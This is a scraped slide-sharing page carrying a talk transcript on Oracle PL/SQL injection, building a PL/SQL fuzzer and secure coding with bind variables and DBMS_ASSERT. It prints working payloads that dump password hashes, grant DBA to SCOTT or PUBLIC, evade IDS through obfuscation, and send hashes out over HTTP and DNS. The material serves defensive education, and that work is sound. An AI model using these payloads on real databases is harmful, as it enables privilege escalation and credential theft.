Hack Your DB Before The Hackers Do! Slavik Markovich CTO, Sentrigo.

Slides:



Advertisements
Similar presentations
Module XIV SQL Injection
Advertisements

Owners Roles DB Objects Grant Revoke Grant Revoke Grant Revoke (*) with admin option Il ruolo …. È un set di system & object privileges Non appartiene.
10 g An Investigation Into The Security Of Oracle 10g Enterprise Edition Release 2 Researcher: Okelitse Nyathi Supervisor: Mr J Ebden.
AN INTRODUCTION TO PL/SQL Mehdi Azarmi 1. Introduction PL/SQL is Oracle's procedural language extension to SQL, the non-procedural relational database.
Hacking & Defending Databases Todd DeSantis Technical Pre-Sales Consultant
Understand Database Security Concepts
Stored Procedure Language Stored Procedure Overview Stored Procedure is a function in a shared library accessible to the database server can also write.
Information System Security. Outline  Oracle Vulnerabilities  Oracle Security Assessment 2 Information System Security - Week 10.
NAVY Research Group Department of Computer Science Faculty of Electrical Engineering and Computer Science VŠB-TUO 17. listopadu Ostrava-Poruba.
Chapter 4B: More Advanced PL/SQL Programming
System Administration Accounts privileges, users and roles
ASP.NET 2.0 Chapter 6 Securing the ASP.NET Application.
Chapter 7 Managing Data Sources. ASP.NET 2.0, Third Edition2.
Dec 13 th CS555 presentation1 Yiwen Wang --“Securing the DB may be the single biggest action an organization can take to protect its assets” David C. Knox.
Oracle PL/SQL Injection David Litchfield. What is PL/SQL? Procedural Language / Structured Query Language Oracle’s extension to standard SQL Programmable.
Database Security and Auditing: Protecting Data Integrity and Accessibility Chapter 3 Administration of Users.
ORACLE ONLINE TRAINING Contact our Support Team : SOFTNSOL India: Skype id : softnsoltrainings id:
Advanced Databases Advanced PL/SQL Programming: Procedure, Function and Package.
Database Security and Auditing: Protecting Data Integrity and Accessibility Chapter 3 Administration of Users.
Cursor and Exception Handling By Nidhi Bhatnagar.
Hamdi Yesilyurt, MA Student in MSDF & PhD-Public Affaris SQL Riji Jacob MS Student in Computer Science.
Approaches to Application Security – DSM
Web Application Access to Databases. Logistics Test 2: May 1 st (24 hours) Extra office hours: Friday 2:30 – 4:00 pm Tuesday May 5 th – you can review.
Lecture 16 Page 1 CS 236 Online SQL Injection Attacks Many web servers have backing databases –Much of their information stored in a database Web pages.
M1G Introduction to Database Development 6. Building Applications.
Copyright  Oracle Corporation, All rights reserved. 3 Creating Procedures.
Lecture 4 PL/SQL language. PL/SQL – procedural SQL Allows combining procedural and SQL code PL/SQL code is compiled, including SQL commands PL/SQL code.
Tom Castiglia Hershey Technologies
PL/SQLPL/SQL Oracle10g Developer: PL/SQL Programming Chapter 7 PL/SQL Packages.
Hack-proofing Oracle 9iAS Writing Secure Code in Oracle Aaron Newman Application Security, Inc.
Stored procedures1 Stored procedures and functions Procedures and functions stored in the database.
Overview · What is PL/SQL · Advantages of PL/SQL · Basic Structure of a PL/SQL Block · Procedure · Function · Anonymous Block · Types of Block · Declaring.
Using Procedures & Functions Oracle Database PL/SQL 10g Programming Chapter 9.
Lecture 8 Creating Stored Functions. Objectives  After completing this lesson, you should be able to do the following:  What is Function?  Types of.
Database Design and Management CPTG /23/2015Chapter 12 of 38 Functions of a Database Store data Store data School: student records, class schedules,
CERN - IT Department CH-1211 Genève 23 Switzerland t DB Development Tools Benthic SQL Developer Application Express WLCG Service Reliability.
Attacking Data Stores Brad Stancel CSCE 813 Presentation 11/12/2012.
Analysis of SQL injection prevention using a filtering proxy server By: David Rowe Supervisor: Barry Irwin.
Managing users and security Akhtar Ali. Aims Understand and manage profiles Understand and manage users Understand and manage privileges Understand and.
Security Attacks CS 795. Buffer Overflow Problem Buffer overflows can be triggered by inputs that are designed to execute code, or alter the way the program.
PL/SQL Oracle's Database Programming Language. Remember: Set serveroutput on With serveroutput off (default) executing procedure: With serveroutput on:
Chapter 15 Introduction to PL/SQL. Chapter Objectives  Explain the benefits of using PL/SQL blocks versus several SQL statements  Identify the sections.
Guide to Oracle 10g ITBIS373 Database Development Lecture 4a - Chapter 4: Using SQL Queries to Insert, Update, Delete, and View Data.
1 CS 430 Database Theory Winter 2005 Lecture 14: Additional SQL Topics.
1 Theory, Practice & Methodology of Relational Database Design and Programming Copyright © Ellis Cohen Implementing The Middle Tier These slides.
Dynamic SQL. 2 home back first prev next last What Will I Learn? Recall the stages through which all SQL statements pass Describe the reasons for using.
SQL Injection Anthony Brown March 4, 2008 IntroductionQuestionsBackgroundTechniquesPreventionDemoConclusions.
PRACTICE OVERVIEW PL/SQL Part Your stored procedure, GET_BUDGET, has a logic problem and must be modified. The script that contains the procedure.
IMS 4212: Application Architecture and Intro to Stored Procedures 1 Dr. Lawrence West, Management Dept., University of Central Florida
Text TCS INTERNAL Oracle PL/SQL – Introduction. TCS INTERNAL PL SQL Introduction PLSQL means Procedural Language extension of SQL. PLSQL is a database.
Lab 2 Writing PL/SQL Blocks CISB514 Advanced Database Systems.
CS422 Principles of Database Systems JDBC and Embedded SQL Chengyu Sun California State University, Los Angeles.
SQL Injection By: Ayman Mohamed Abdel Rahim Ali Ehab Mohamed Hassan Ibrahim Bahaa Eldin Mohamed Abdel Sabour Tamer Mohamed Kamal Eldin Jihad Ahmad Adel.
Oracle9i Developer: PL/SQL Programming Chapter 6 PL/SQL Packages.
1. Writing a Java program to connect to SQL Server 2008 and Create a table Populate the table (insert data) Perform queries to retrieve information from.
SQL Injection Attacks S Vinay Kumar, 07012D0506. Outline SQL Injection ? Classification of Attacks Attack Techniques Prevention Techniques Conclusion.
1 Copyright © 2004, Oracle. All rights reserved. PL/SQL Programming Concepts: Review.
6 Copyright © 2009, Oracle. All rights reserved. Using Dynamic SQL.
Database System Implementation CSE 507
# 66.
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
Chapter 7: Identifying Advanced Attacks
SQL Injection.
UNIT - V STORED PROCEDURE.
A Security Review Process for Existing Software Applications
PL/SQL Package Week 8.
CS 440 Database Management Systems
Lecture 2 - SQL Injection
PRACTICE OVERVIEW PL/SQL Part - 1.
Prof. Arfaoui. COM390 Chapter 7
Presentation transcript:

Hack Your DB Before The Hackers Do! Slavik Markovich CTO, Sentrigo

What’s This Presentation All About?  Explore common DB vul. SQL injection  Create your custom fuzzer What is a fuzzer anyway? PL/SQL – the right tool for the right job  Bombs away

SQL Injection  Wikipedia – is a technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

SQL Injection  Exists in any layer of any application C/S and Web Applications Stored program units  Build in  User created  Has many forms Extra queries, unions, order by, sub selects  Easily avoided Bind variables, strong typing

SQL Injection Types  In band – Use injection to return extra data Part of normal result set (unions) In error messages  Out of band – Use alternative route like UTL_HTTP, DNS to extract data  Blind / Inference – No data is returned but the hacker is able to infer the data using return codes, error codes, timing measurments and more

SQL Injection In-band SQL> select utl_inaddr.get_host_name(' ') from dual; localhost SQL> select utl_inaddr.get_host_name((select username||'='||password from dba_users where rownum=1)) from dual; select utl_inaddr.get_host_name((select username||'='||password from dba_users where rownum=1)) from dual * ERROR at line 1: ORA-29257: host SYS=8A8F025737A9097A unknown ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1

SQL Injection Out-of-band Send information via HTTP to an external site via HTTPURI select HTTPURITYPE( ' (select password from dba_users where rownum=1) ).getclob() from dual; Send information via HTTP to an external site via utl_http select utl_http.request (' (select password from dba_users where rownum=1)) from dual; Send information via DNS (max. 64 bytes) to an external site select utl_http.request (' password from dba_users where rownum=1)||'.sentrigo.com/' ) from dual; DNS-Request:

Blind SQL Injection Pseudo-Code: If the first character of the sys-hashkey is a 'A' then select count(*) from all_objects,all_objects else select count(*) from dual end if;

SQL Injection – Web Application  Username = ' or 1=1 -- The original statement looked like: 'select * from users where username = ''' + username + ''' and password = ''' + password + '''' The result = select * from users where username = '' or 1=1 --' and password = '' This is not what we'll talk about…

SQL Injection – PL/SQL  Two execution modes Definer rights Invoker rights  Source code not always available There are several un-wrappers available One can find injections without the source  Find dependencies  Trial and error  v$sql  Fuzzer

SQL Injection – Demo Procedure CREATE OR REPLACE PROCEDURE LIST_TABLES(p_owner VARCHAR2) IS TYPE c_type IS REF CURSOR; l_cv c_type; l_buff VARCHAR2(100); BEGIN dbms_output.enable(100000); OPEN l_cv FOR 'SELECT object_name FROM all_objects WHERE owner = ''' || p_owner || ''' AND object_type = ''TABLE'''; LOOP FETCH l_cv INTO l_buff; dbms_output.put_line(l_buff); EXIT WHEN l_cv%NOTFOUND; END LOOP; CLOSE l_cv; END; /

SQL Injection – Inject SQL SQL> set serveroutput on SQL> exec list_tables('SCOTT') DEPT EMP BONUS SALGRADE SQL> exec list_tables('KUKU'' UNION SELECT username || '':'' || password FROM dba_users--') BI:FA1D2B85B70213F3 CTXSYS:71E687F036AD56E5 DBSNMP:0B813E8C027CA786 …

SQL Injection – Inject Functions CREATE OR REPLACE FUNCTION get_dba RETURN VARCHAR2 AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT'; RETURN 'Hacked'; END get_dba; /

SQL Injection – Inject Functions SQL> exec sys.list_tables('NOUSER'' || scott.get_dba()--') PL/SQL procedure successfully completed. Roles for current user USERNAME GRANTED_ROLE SCOTT CONNECT SCOTT DBA SCOTT RESOURCE

SQL Injection – Cursor Injection DECLARE l_cr NUMBER; l_res NUMBER; BEGIN l_cr := dbms_sql.open_cursor; dbms_sql.parse(l_cr, 'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT dba to public''; END;', dbms_sql.native); sys.list_tables(''' || dbms_sql.execute(' || l_cr || ') --'); END; /

SQL Injection – IDS Evasion DECLARE l_cr NUMBER; l_res NUMBER; BEGIN l_cr := dbms_sql.open_cursor; dbms_sql.parse(l_cr, translate('1;vm3|; 4|3.l3 3795z5l572_9|3z23v965ze x;.6z ;b;v79; 6ll;1639; ~.|3z9 1x xm6v~e ;z1e', '][;| ,)(mnbvcxzlkjhgfdsapoiuytrewq~', 'qwertyuiopasdfghjklzxcvbnm(), |;[]'''), dbms_sql.native); sys.list_tables(''' || dbms_sql.execute(' || l_cr || ') --'); END; /

SQL Injection - Wrapping CREATE OR REPLACE PACKAGE own_db wrapped a abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd lIown0XyY+aBSui895eb0pSC9swg2JHf8upfOemZ7GbnvmzvT4nCxqyAlcztZ1 ptv7ZMga3 n6+fHlbVac7MmcB19JJfqDkhynlrig0pwVDbao4q4lxWhPw8VPJ1yr6dDzmzm9 BCQqbTDIhq / CREATE OR REPLACE PACKAGE BODY own_db wrapped a abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd abcd b c ERNYhQ8lgvIjF5xjsIv4Vn7Mr5Awg+nINfZqfHQCvw2qAkhIOLLtwRq0J3wTzX DZ2ACNSNZV q7ThHqgkvPIFf5BBRkG8BzmglrS29fqkyu2VjB4hbzufKqMzPtGCO2VS1/PgsqQ BO0upKyeF tFs22G7gnian7xdfRCC8K997/O11lM36KxulqMhOFpfPEE//ts+8T3Cr7sELbhsD V4kuqDBI 6VX3Cs2jqxhI+qgnhfrxClimWGyS8UMsw8tjQkPJwYzZGW8Gjd5fWMH9Doiqck 5+GjwT8ELf H06/kj/lPShfNA4QReEI+GDd /

SQL Injection – Object Injection  Developers and DBAs never sanitize scripts CREATE OR REPLACE FUNCTION F1 return number authid current_user as pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; RETURN 1; END; / create table “ ‘ or 1=userxxx.f1—” (a varchar2(1));

SQL Injection – Lateral Injection  Code does not have to receive parameters to be injected (Litchfield wrote about this) EXECUTE IMMEDIATE 'update x set y = ''' || SYSDATE || '''';  Running this code before: alter session set nls_date_format = ''' and 1 = hacker.attack() --';

Finding Vulnerable Code  Finding dynamic query code select * from dba_dependencies where referenced_name = 'DBMS_SQL' select * from dba_source where upper(text) like '%IMMEDIATE%'  Finding sysdate select * from dba_source where upper(text) like '%||%SYSDATE%'

Fuzzing Fuzz testing or fuzzing is a software testing technique that provides random data ("fuzz") to the inputs of a program. If the program fails (for example, by crashing, or by failing built-in code assertions), the defects can be noted. The great advantage of fuzz testing is that the test design is extremely simple, and free of preconceptions about system behavior.

PL/SQL – The Right Tool  Easy to run SQL  Built-in the database  Cross platform  Good enough for the task  DBAs already speak it fluently  Can be easily scheduled as a DB job

Caution – Use With Care  Fuzzing on production is a big no-no  Be sure to receive permission from the DB owner

Design  Track – using tables Track fuzzing results Rerun, Restart tests after stoping and failing  Discovery Code to find interesting stored program units  Invoke Invocation code to invoke stored procedures with different edge-case parameters  Wrap Tie it up in a loop and wrap in a package  Report Report findings

Track – A Simple ERD Example FUZZ_RUN ID NAME START_TS END_TS FUZZED_OBJ ID FUZZ_RUN_ID OBJ_ID METHOD_NAME PARAMS START_TS END_TS IS_VUL FUZZED_EXEC_REC ID FUZZED_EXEC_ID ORD VAL FUZZED_EXEC ID FUZZED_OBJ_ID RESULT FUZZ_SEARCH ID TEXT FUZZ_INPUT ID DATATYPE VALUE FUZZ_CODES SQL_CODE DESCIPTION

Discovery – Find Relevant Objects

Discovery – Find Interesting Ones

Discovery – Placing Data In Tables  Use all_arguments to get parameters  Optional - use dbms_describe  Find 'Language Java' in code and then use check the PL/SQL wrapper  Save the data for future re-runs

Invoke Fuzzed Code  Use "execute immediate" to invoke anonymous PL/SQL blocks created from describe code  Pass in various interesting input parameters Strings containing ' or " Long strings Nulls Combinations Off-by-one  On code using concatenation of numbers and dates directly without formating NLS_DATE_FORMAT NLS_NUMERIC_CHARACTERS

Invoking Fuzzed Code  Catch interesting errors ORA-00921: unexpected end of SQL command ORA-00936: missing expression ORA-00933: SQL command not properly ended ORA-00970, ORA-00907, ORA-01756, ORA-00923, ORA-00900, PLS-00103, LPX-00601, ORA Crashes – for C code  ORA – might also be an instance crash  ORA-03114, ORA  ORA – Internal error etc.

Example Interface

Bombs Away  Running as DBA on Oracle supplied code can be very interesting  Sentrigo Red Team discovered multiple vulnerabilities this way Reported to Oracle Protected by Hedgehog out of the box

Other Fuzzers Out There  Inguma PL/SQL fuzzer Written by Joxean Koret Python  SPIKE Not Oracle specific Used to analyze and fuzz network protocols freesoftware.shtml

Write Secure Code  The least privilege principle Lock down packages  System access, file access, network access  Use secure coding techniques Bind variables input validation Clear ownership of security issues dbms_assert Provided by Oracle and backported to older databases

Bind Variables – Java Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery( "select * from users where username = '" + username + "'"; vs. PreparedStatement pstmt = conn.prepareStatement("select * from users where username = ?"); pstmt.setString(1, username); ResultSet rs = pstmt.executeQuery();

Bind Variables – PL/SQL – Bad CREATE OR REPLACE FUNCTION get_id_or_boss(p_ename VARCHAR2, p_boss NUMBER) RETURN VARCHAR2 IS v_empno emp.empno%TYPE; BEGIN IF p_boss = 0 THEN EXECUTE IMMEDIATE 'SELECT empno FROM emp WHERE ename = ''' || p_ename || '''' INTO v_empno; ELSE EXECUTE IMMEDIATE 'SELECT mgr FROM emp WHERE ename = ''' || p_ename || '''' INTO v_empno; END IF; RETURN v_empno; END get_id_or_boss_id;

Bind Variables – PL/SQL - Good CREATE OR REPLACE FUNCTION get_id_or_boss(p_ename VARCHAR2, p_boss NUMBER) RETURN VARCHAR2 IS v_sql VARCHAR2(2000); v_empno emp.empno%TYPE; BEGIN IF p_boss = 0 THEN v_sql := 'SELECT empno FROM emp WHERE ename = :1'; ELSE v_sql := 'SELECT mgr FROM emp WHERE ename = :1'; END IF; EXECUTE IMMEDIATE v_sql INTO v_empno USING p_ename; RETURN v_empno; END get_id_or_boss_id;

Input Validation – DBMS_ASSERT  Functions NOOP SIMPLE_SQL_NAME QUALIFIED_SQL_NAME SCHEMA_NAME SQL_OBJECT_NAME ENQUOTE_NAME ENQUOTE_LITERAL

Secure Coding Policies  Setup secure coding policies for the different languages  Make the coding policies part of every contract – external and internal  Default document for all developers  OWASP

Some Coding Rules  Avoid hardcoding username/password  Wrap sensitive/important program code – even if not really safe  Use full qualified names for function and procedure calls (e.g. SYS.DBMS_ASSERT)  Always validate user/database input  Be careful with dynamic statements (Cursors, SQL- Statements, …)  Be careful with file access  Be careful with OS command execution

Protecting Your Database  Try out the Hedgehog - Virtual patching SQL Injection protection Fine grain auditing Centralized management More…

Questions?